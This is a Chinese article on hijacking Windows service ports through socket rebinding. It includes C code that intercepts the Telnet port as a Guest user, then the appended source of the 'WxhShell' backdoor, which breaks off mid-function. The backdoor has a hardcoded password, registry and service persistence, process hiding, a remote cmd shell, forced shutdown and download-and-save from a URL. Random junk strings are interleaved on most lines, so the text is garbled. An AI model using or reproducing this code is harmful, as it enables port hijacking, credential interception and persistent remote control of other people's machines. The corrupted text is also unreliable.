在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
@[{9B6NlV s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
A:$Qt%c 5Ug.J{d saddr.sin_family = AF_INET;
5~&9/ALk5 61e)SIRz9I saddr.sin_addr.s_addr = htonl(INADDR_ANY);
JvFd2@ LQT^1|nq bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
XB _t[RHrs 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>Micc QkbXm[K.Z 这意味着什么?意味着可以进行如下的攻击:
3!_X FV aewVq@ngq! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0k"n;:KM8 y8"8QH 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
pR6mSfer 9?"]dEM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
"
`rkp= +3]1AJa 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'p3JYRT$ R5M/Ho 4 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
$X1T!i[.X ,l-tLc 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
kSJWXNC ZmSe>}B= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G9'Wo.$ t ;T1OXuQ #include
X|!VtO #include
$ M?VJ\8 #include
*o<zo
` #include
wlc Cz DWORD WINAPI ClientThread(LPVOID lpParam);
nrqr p int main()
F_>OpT {
J3Ipk-'lx WORD wVersionRequested;
OwhMtYq DWORD ret;
R42+^'af WSADATA wsaData;
pVgzUu7 BOOL val;
;a@%FWc SOCKADDR_IN saddr;
d/I,` SOCKADDR_IN scaddr;
iTTUyftHT int err;
lu~<pfg SOCKET s;
JC|j*x(k/ SOCKET sc;
W&E?#=*X int caddsize;
t>nx#ErS HANDLE mt;
bCWSh~ DWORD tid;
-'SpSy'_ wVersionRequested = MAKEWORD( 2, 2 );
38<!Dt+S(, err = WSAStartup( wVersionRequested, &wsaData );
xgsE JE if ( err != 0 ) {
fuRCM^U( printf("error!WSAStartup failed!\n");
9FB k|g"U) return -1;
+OSF0#bj }
+<#0V!DM saddr.sin_family = AF_INET;
Zy!^HS$ (jj=CLe //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
zx:Qz u-v/`F2wN saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
W=zHD9 saddr.sin_port = htons(23);
}<m'Nkz<X if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v|DgRPY {
y8oqCe) printf("error!socket failed!\n");
zfS0M return -1;
N %;bV@A9 }
~kHWh8\b: val = TRUE;
L\)GPTo!x //SO_REUSEADDR选项就是可以实现端口重绑定的
}Xa1K;KM{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>@Vap {
,x (?7ZW> printf("error!setsockopt failed!\n");
#)A.yK`u return -1;
.W;,~.l }
,O`a_b] //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
KK-}&N8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
VsIDd}~C% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Y52f8qQq _x+)Tv if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
z89!\Q {
xWC*DKV ret=GetLastError();
`MD%VHQ9U printf("error!bind failed!\n");
+!"GYPUXy return -1;
0oT~6BGm }
a!?JVhD& listen(s,2);
8.`*O while(1)
},eV?eGj {
Q)mYy caddsize = sizeof(scaddr);
TR7j`? //接受连接请求
92F9)S{" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
(:|g"8mQm if(sc!=INVALID_SOCKET)
T?lp:~d {
qDlh6W?}k mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
zDD if(mt==NULL)
H6o_*Y {
7{W#i<W printf("Thread Creat Failed!\n");
?WEKRl break;
$[S)A0O }
M9C
v00& }
Fy#y.jK9v CloseHandle(mt);
bd'io O }
ZovF]jf k closesocket(s);
g"}j WSACleanup();
9-ei#|Vnt[ return 0;
V*d@@%u** }
nO#a|~-)) DWORD WINAPI ClientThread(LPVOID lpParam)
y=HM]EH> {
!c2<-3e SOCKET ss = (SOCKET)lpParam;
O su 75@3 SOCKET sc;
Rz03he unsigned char buf[4096];
lVptA3F SOCKADDR_IN saddr;
;Q.'u long num;
_keI0ML-# DWORD val;
8x~'fzf;Sq DWORD ret;
9*Z!=Y#4, //如果是隐藏端口应用的话,可以在此处加一些判断
f%[0}.wp //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
U;w|
=vM saddr.sin_family = AF_INET;
Q8h0:Q saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
q1Sr#h| saddr.sin_port = htons(23);
.ri?p:a}w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
o;[cApiQ,2 {
qu`F,OG printf("error!socket failed!\n");
e'dx
Y( return -1;
]H-5 }
P*!~Z*" val = 100;
9O4\DRe5c if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|s!<vvp] {
16-1&WuY@ ret = GetLastError();
Z,_EhEm return -1;
Y 8Dn&W }
7W.z8>p if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O-uf^S4 {
#&sw%CD ret = GetLastError();
boeIO\2}P0 return -1;
Xh?J"kjof }
N"[r_! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
oK@_
{
v;.w*x8Jw printf("error!socket connect failed!\n");
0Qr|!B:+9) closesocket(sc);
q,>-4Cm closesocket(ss);
@v~<E?Un return -1;
tq.g4X ;_ }
]|8*l]oc while(1)
Bk;/>gD {
Yu+;vjbK- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
19]O; //如果是嗅探内容的话,可以再此处进行内容分析和记录
*|B5,Ey //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
gR76g4|=; num = recv(ss,buf,4096,0);
dUc?>#TU if(num>0)
3kJ7aBiR< send(sc,buf,num,0);
lz:+y/+1 else if(num==0)
undH{w= break;
t~V?p'a0ys num = recv(sc,buf,4096,0);
y.aeXlc[ if(num>0)
LL%s$>c65A send(ss,buf,num,0);
uB;PaZG?{ else if(num==0)
lPA:ho/`: break;
5?HoCz]l }
@$7l closesocket(ss);
O_P8OA#| closesocket(sc);
7Um3myXU return 0 ;
T]lVwj }
HV[*=Qi czcsXB l[ 5e
>qBw8t ==========================================================
=
KJ_LE~) w)<h$<tU 下边附上一个代码,,WXhSHELL
#@Rtb\9 xlm:erP ==========================================================
BDcA_=^R& =SK{|fBB #include "stdafx.h"
*kq>Z 06'i &\5%C\0Z< #include <stdio.h>
1z-Q~m@@ #include <string.h>
pIgjo>K #include <windows.h>
f}:W1&LhI? #include <winsock2.h>
\w=*:Z #include <winsvc.h>
qM9> x:V #include <urlmon.h>
Rf#t|MW*# ;|D8"D6] #pragma comment (lib, "Ws2_32.lib")
:rnj>U6<> #pragma comment (lib, "urlmon.lib")
s}Q*zy 2X`5YN; #define MAX_USER 100 // 最大客户端连接数
TIVrbO\!o #define BUF_SOCK 200 // sock buffer
nA.~} #define KEY_BUFF 255 // 输入 buffer
q/dja m<GJ1)%3i #define REBOOT 0 // 重启
Nrfj[I #define SHUTDOWN 1 // 关机
_<7e5VR ;#n+$Q#: #define DEF_PORT 5000 // 监听端口
L=)Arj@q X0BBJ( e #define REG_LEN 16 // 注册表键长度
R zn%!d^$> #define SVC_LEN 80 // NT服务名长度
!^IAn x`Ik747^v // 从dll定义API
(I ~r~5^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
2|}KBny typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Wu
U_RE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
='vkd=`Si typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
P7y.:%DGD0 <lf6gb // wxhshell配置信息
9Fh1rZD< struct WSCFG {
|YK4V(5x int ws_port; // 监听端口
!--A" char ws_passstr[REG_LEN]; // 口令
S)z5=N(Xz int ws_autoins; // 安装标记, 1=yes 0=no
g6(u6%MD char ws_regname[REG_LEN]; // 注册表键名
_-nIy*', = char ws_svcname[REG_LEN]; // 服务名
?gl[=N V char ws_svcdisp[SVC_LEN]; // 服务显示名
O;SD90 char ws_svcdesc[SVC_LEN]; // 服务描述信息
(db4.G+0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7gP8K`w?[ int ws_downexe; // 下载执行标记, 1=yes 0=no
t(\P8J char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
3vRBK?Q.y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
t'DYT"3 rRd8W}B };
wf/DLAC hG
qZB // default Wxhshell configuration
'/Ag3R struct WSCFG wscfg={DEF_PORT,
~/1eF7 "xuhuanlingzhe",
j[&C6l+wH 1,
yUlYf#`H "Wxhshell",
{+x;J4 "Wxhshell",
z]0UW\S/ "WxhShell Service",
F'3-*>]P "Wrsky Windows CmdShell Service",
ca?;!~%zA "Please Input Your Password: ",
x[1(cj 1,
BZs?tbf "
http://www.wrsky.com/wxhshell.exe",
PtT$#>hx] "Wxhshell.exe"
)d"s6i };
Vv~:^6il `ILO]+`5 // 消息定义模块
+i6XCN1= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
}@NT#hD char *msg_ws_prompt="\n\r? for help\n\r#>";
5d5q0bb char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
;(~H(]D char *msg_ws_ext="\n\rExit.";
W6L}T,epX char *msg_ws_end="\n\rQuit.";
[y1
x`WOk9 char *msg_ws_boot="\n\rReboot...";
[cvtF(, char *msg_ws_poff="\n\rShutdown...";
JN<IMH char *msg_ws_down="\n\rSave to ";
"M4gl Ilv
_. char *msg_ws_err="\n\rErr!";
,]8$QFf char *msg_ws_ok="\n\rOK!";
2kQa3Pan [;8vO=Z char ExeFile[MAX_PATH];
D_-<V,3t int nUser = 0;
A Z& ]@Ao HANDLE handles[MAX_USER];
]q|^?C int OsIsNt;
<o.?T*Q9 HzD=F3\r| SERVICE_STATUS serviceStatus;
~@N0$S SERVICE_STATUS_HANDLE hServiceStatusHandle;
RlnJlY/ .qG*$W2f // 函数声明
)1 =|\ int Install(void);
nN[gAM ( int Uninstall(void);
.m
\y6 int DownloadFile(char *sURL, SOCKET wsh);
3FpS o+ int Boot(int flag);
{Wh7>*p{3 void HideProc(void);
7(1UXtT int GetOsVer(void);
Q2HULz{ int Wxhshell(SOCKET wsl);
wC4:OJ[d void TalkWithClient(void *cs);
&W:R#/| int CmdShell(SOCKET sock);
;,Q6AS! int StartFromService(void);
/;\{zA$uC= int StartWxhshell(LPSTR lpCmdLine);
YMTB4|{ *m9,_~t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6d#
V VOID WINAPI NTServiceHandler( DWORD fdwControl );
n;,>Fv s2M|ni= // 数据结构和表定义
R8YA"(j!L SERVICE_TABLE_ENTRY DispatchTable[] =
h!UB#-
{
L2m~ GnP|? {wscfg.ws_svcname, NTServiceMain},
u=9)A9 {NULL, NULL}
#Hy fjj };
2*9rhOK* yHt
`kb2 // 自我安装
nlaeo"] int Install(void)
ECF \/12 {
s
u)AIvF{ char svExeFile[MAX_PATH];
k| Ye[GM* HKEY key;
hY-;Vh0J strcpy(svExeFile,ExeFile);
N>'|fNx] LAfv1 // 如果是win9x系统,修改注册表设为自启动
T{Rhn V1 if(!OsIsNt) {
o6~9.~_e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
dLIZ)16& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c<n <!!vi RegCloseKey(key);
-L)b;0% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
k6PHyt`3' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!mLD`62. RegCloseKey(key);
sU}.2k return 0;
FsyM{LT }
c<J/I_! }
UM QsYD) }
56Gc[<nR else {
("$ ,FRTQ: __N#Y/e ] // 如果是NT以上系统,安装为系统服务
5\|u]
~b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
FELTmQUV if (schSCManager!=0)
I:9jn" {
Lm}J&^> SC_HANDLE schService = CreateService
eFiUB (
8>y!=+9_ schSCManager,
?E88y wscfg.ws_svcname,
t,m},c(B: wscfg.ws_svcdisp,
gNoQ[xFx32 SERVICE_ALL_ACCESS,
uY'77,G_J SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
i9%cpPrg8 SERVICE_AUTO_START,
fR6.:7& SERVICE_ERROR_NORMAL,
%juR6zB%8 svExeFile,
XK7$Xbd NULL,
j/+e5.EX/ NULL,
@g~hYc NULL,
WnL Ma|e NULL,
;[>g(W+ NULL
hRWRXC9 );
J&bhR9sF if (schService!=0)
rBY{&JhS {
I||4.YT CloseServiceHandle(schService);
j(SBpM CloseServiceHandle(schSCManager);
4Ev#`i3~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
hR1n@/nh strcat(svExeFile,wscfg.ws_svcname);
[O52Bn if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
DD]e0 pa RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0p;pTc RegCloseKey(key);
-B l!s^-' return 0;
*U69rbYI }
KnjowK }
4v("qNw# CloseServiceHandle(schSCManager);
}co*%F{1 }
RN0=jo!58 }
^Td_B03) OKH4n/pq return 1;
JM?X]l }
LAT%k2%Wx 3?rYt:Uf! // 自我卸载
&/7D4!N] int Uninstall(void)
7^|,l {
~&?{hd. HKEY key;
g)@d(EYY UZ"jQJQ if(!OsIsNt) {
ueM[&:g&MU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e<;^P(g`E RegDeleteValue(key,wscfg.ws_regname);
68k RegCloseKey(key);
w6 x{<d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m)aNuQvy:Z RegDeleteValue(key,wscfg.ws_regname);
:Vyr8+] RegCloseKey(key);
kA1C& return 0;
Pfv| K;3i }
^bjaa }
=oPc\VYW }
IV5B5Q'D else {
jbU=D:| h/t{=
@
.5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(pFPuV if (schSCManager!=0)
ic4mD:-up {
,py:e>+^t SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
O0Vtvbj if (schService!=0)
_FRwaFVJ3 {
t'{\S_ if(DeleteService(schService)!=0) {
U0Y;*_>4 CloseServiceHandle(schService);
x/pM.NZF1 CloseServiceHandle(schSCManager);
JXBTd=r_oM return 0;
#cRw0bn: }
Gc'CS_L CloseServiceHandle(schService);
lW!}OzE(m }
_FJ,, /~ CloseServiceHandle(schSCManager);
Zss `## }
w>q:&Q }
qf7oG0 .1&~@e%=- return 1;
"&,Gn#'FG }
N4wv'OrL] \ tK{!v+ // 从指定url下载文件
V*bX>D/ int DownloadFile(char *sURL, SOCKET wsh)
lOc!KZHUp {
Y8^pgv HRESULT hr;
W_##8[r(? char seps[]= "/";
EM.7,;|N char *token;
X}/{90UD char *file;
!)}3[h0 char myURL[MAX_PATH];
Y<vsMf_U char myFILE[MAX_PATH];
YR{%pZp ?y@ RE strcpy(myURL,sURL);
.=nx5yz token=strtok(myURL,seps);
![{>$Q?5
while(token!=NULL)
;B'5B]A3 {
45u\v2,C3 file=token;
k[6xuyY] token=strtok(NULL,seps);
"XU
M$:D }
5yHarC XU3v#Du GetCurrentDirectory(MAX_PATH,myFILE);
.5;Xd? strcat(myFILE, "\\");
sL9,+ strcat(myFILE, file);
>Y h7By send(wsh,myFILE,strlen(myFILE),0);
i"h '^6M1 send(wsh,"...",3,0);
,1s,G]%M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Gxtb@`f if(hr==S_OK)
I4%p?'i,C return 0;
TaZw_)4c else
XYOPX>$T return 1;
@Y~R*^n"} yJheni }
fn1G^a= !&3iZQGWv // 系统电源模块
~is$Onf99# int Boot(int flag)
q:y_#r"_y {
/lC&'h T HANDLE hToken;
$E_9AaX TOKEN_PRIVILEGES tkp;
}[[ vu&%e\gM if(OsIsNt) {
Zj*kHjn" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
|7K[+aK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
qNLG- m,n< tkp.PrivilegeCount = 1;
~1NK@=7T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
RW!_ZzZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#9{9T"ed if(flag==REBOOT) {
9'qU4I if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
YSvZ7G(m> return 0;
q\B048~KK }
[Ipg",Su;f else {
r@2{>j8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
LxM.z1 return 0;
6evW
O! }
g"60{ }
|HjoaN ) else {
]y4(WG;: if(flag==REBOOT) {
tj:Q]]\M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
N34.Bt return 0;
rc*iL }
1|?8g2Vf else {
h "7:&=e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
PJ=N.xf} return 0;
tA?cHDp4E }
>d`XR"_e }
hrT_0FZV %<g(EKl return 1;
6N%fJ }
"funFvY 8$|<`:~J // win9x进程隐藏模块
WMo void HideProc(void)
YpAJ7E|7 {
&
*^FBJEa. ]vyu! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
X`[P11` if ( hKernel != NULL )
C+*qU {
U5 `h pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
GAZTCkB" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^1a/)Be{_ FreeLibrary(hKernel);
PY4RwN }
ad\?@>[I 2 kOFyD
return;
-:hiLZJ7- }
n~1'M/wh LDj'L~H // 获取操作系统版本
wknr^A int GetOsVer(void)
ElAho3W {
I^M%+\ OSVERSIONINFO winfo;
q(i^sE[y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
P9Gjsu # GetVersionEx(&winfo);
%:v59:i} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
S~dD ;R return 1;
fpjy[$8 else
#Ub"Ii return 0;
wD|3Czc }
*4i)aj Zu4|1W // 客户端句柄模块
L|y4u;-Q int Wxhshell(SOCKET wsl)
F{:ZHCm {
0XrB+nt SOCKET wsh;
b7
pD#v struct sockaddr_in client;
X5@SLkJ-` DWORD myID;
^w0V{qF{ [79 eq= while(nUser<MAX_USER)
(,5oqU9s@ {
O'6zV"<P int nSize=sizeof(client);
p.r \| wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
DFgr,~ if(wsh==INVALID_SOCKET) return 1;
uHBEpqC% ZP@or2No% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
+d[A'&" if(handles[nUser]==0)
*]ROUk@K= closesocket(wsh);
bv.DW,l%' else
Q?f%]uGFQ nUser++;
ugtzF }
}Yi)r*LI3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
dmq<vVxC t SST.o3 return 0;
C~do*rnM^ }
G}o?lo\#h L<kIzB ! // 关闭 socket
e&Z\hZBb void CloseIt(SOCKET wsh)
T;cyU9 {
U($sH9, closesocket(wsh);
dXkgWLI~ nUser--;
:$bp4+3> ExitThread(0);
|
HkLl^ }
M*DF tp< x=+R0ny // 客户端请求句柄
a,o>E4#c void TalkWithClient(void *cs)
|4UU`J9M {
}pE8G#O& \htL\m^$9 SOCKET wsh=(SOCKET)cs;
K!X>k char pwd[SVC_LEN];
s m42 char cmd[KEY_BUFF];
J{GtH[ char chr[1];
L{v^: int i,j;
x.V6C0|6" 8q)wT0A~ while (nUser < MAX_USER) {
TY|5O!
< b.qp&2 A if(wscfg.ws_passstr) {
nI1DLVt if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#n= b*. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=)56]ki} //ZeroMemory(pwd,KEY_BUFF);
DzZ)aE i=0;
tEz6B} while(i<SVC_LEN) {
P;&rh U^[ oDyrf"dl // 设置超时
-Cb<T"7 fd_set FdRead;
aR }|^ex struct timeval TimeOut;
*wNX<R. FD_ZERO(&FdRead);
ryz
[A:^G FD_SET(wsh,&FdRead);
^*;{Uj+O~Y TimeOut.tv_sec=8;
G;:D6\ TimeOut.tv_usec=0;
^y@RfM=A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
\z}/=Qgc if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
]!>ThBMa ~|j :xM(i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9NH"Ik* pwd
=chr[0]; pRsYA7Ti
if(chr[0]==0xd || chr[0]==0xa) { <Sxsmf0"
pwd=0; >".,=u'
break; ]J^9iDTTA
} .s4hFB^n
i++; fV-vy]x..
} Jjb(l W
9aLS%-x!+
// 如果是非法用户,关闭 socket O[p;IG`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Evz;eobW/
} JHY0J
&4s
a:C'N4K
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >*xa\ve
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }*!7
Vrep
Tct[0B
while(1) { b8V]/
-+1it
ZeroMemory(cmd,KEY_BUFF); ^*7~ Wxk5
Nw'3gJ:
// 自动支持客户端 telnet标准 ILt95l
j=0; zl>l.zJ
while(j<KEY_BUFF) { #;bpxz1lR9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lO/<xSjNd
cmd[j]=chr[0]; B,SH9,
if(chr[0]==0xa || chr[0]==0xd) { qyP|`Pm4
cmd[j]=0; zy(i]6
break; 1'5I]D
ec
} <B]\&
j++; &Mset^o
} 9`J!]WQ1[
8ALvP}H
// 下载文件 -e=p*7']
if(strstr(cmd,"http://")) { LGN,8v<W(
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /Kmzi9j+
if(DownloadFile(cmd,wsh)) ETP}mo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d*26;5~\
else M\wIpRD,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5YJn<XEc
} 1y5]+GU'`
else { iST r;>A
Q K0
switch(cmd[0]) { Vp
$]
*|n::9
// 帮助 { 7y.0_Y
case '?': { P5;LM9W
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t<O5_}R%d
break; w=I'
CMRt
} ;!4Bw"Gg
// 安装 p*10u@,
case 'i': { ~Mv@Bl
if(Install()) 6KiI3%y?0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T`g.K6$b
else fI%+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *uR&d;vg.8
break; kJ6=T6s
} NiU}A$U
// 卸载 _S:6;_bz
case 'r': { gWp\?La
if(Uninstall()) z`-?5-a]I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X{rw+!
else q!#e2Dx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vjG:
1|*e
break; Sf>R7.lpP
}
?PNG@OK
// 显示 wxhshell 所在路径 !Gu,X'#Ab
case 'p': { -If-c'"G
char svExeFile[MAX_PATH]; `fEB,0j^
strcpy(svExeFile,"\n\r"); &x{CC@g/
strcat(svExeFile,ExeFile); nu,#y"WQ
send(wsh,svExeFile,strlen(svExeFile),0); :+ef|,:`/
break; lkf(t&vL2
} jsSxjf;O
// 重启 qr%9Sdvx
case 'b': { )SZt If
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -|mWi
if(Boot(REBOOT)) .5I!h !
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 16MRLDhnD
else { *loPwV8
closesocket(wsh); 2=X 2M
ExitThread(0); -ea>}S
} 8P r H"pI
break; @NGK2J
} 0uzm@'^
// 关机 Ec| Gom?
case 'd': { q10gKVJum
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V,bfD3S3
if(Boot(SHUTDOWN)) THirh6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b:.aZ7+4
else { &eV& +j
closesocket(wsh); W)jO 4,eO
ExitThread(0); SU OuayE
} 9I8{2]
break; >N>WOLbb7(
} 9l2,:EQ*
// 获取shell M:|Z3p K
case 's': { hoI?,[@F
CmdShell(wsh); TEl:;4
closesocket(wsh); >TUs~
ExitThread(0); ZSq7>}
break; `_sc_Y|C!
} pN/)$6=
// 退出 Tl=cniy]
case 'x': { 0!F"s>(H
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !%x8!;za
CloseIt(wsh); 9Vz1*4Ln
break; h)BRSs?v_D
} Q[^IX
// 离开 Dt)\q^bH)
case 'q': { {dJC3/Rf
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !b0'd'xe
closesocket(wsh); 7''l\3mIn
WSACleanup(); kH1hsDe|&y
exit(1); 3o%,8l,
break; YQOdwcLG
} J@Eqqyf"
} R0y={\*B5k
} KE:PRX
T1hr5V<U
// 提示信息 /*g3TbUs
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WyVFhAuU
} Eq^k @
} k|Vq-w
/ <WB%O
return; /]_T
} y0>asl
^RytBwzKM
// shell模块句柄 Rk.YnA_J6
int CmdShell(SOCKET sock) Rkm1fYf
{ g1VdP[Y#
STARTUPINFO si; LY2oBX@fC
ZeroMemory(&si,sizeof(si)); |;_NCy8i3X
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %se4aeOrX
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0ZPwEP
PROCESS_INFORMATION ProcessInfo; T!5m'Q.
char cmdline[]="cmd"; 8
$0 D-z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sfi.zuG
return 0; <m9hM?^q
} xy$73K6
b'Qia'a%
// 自身启动模式 "P HkbU
int StartFromService(void) {8UYu2t
{ *"` dO9Yf_
typedef struct *T
j(IN
{ W)3?T&`
DWORD ExitStatus; Wr Ht
DWORD PebBaseAddress; 0UZ>y/
C)=
DWORD AffinityMask; HQ~`ha.
DWORD BasePriority; o&P}GcEIw
ULONG UniqueProcessId; T%~w~stW
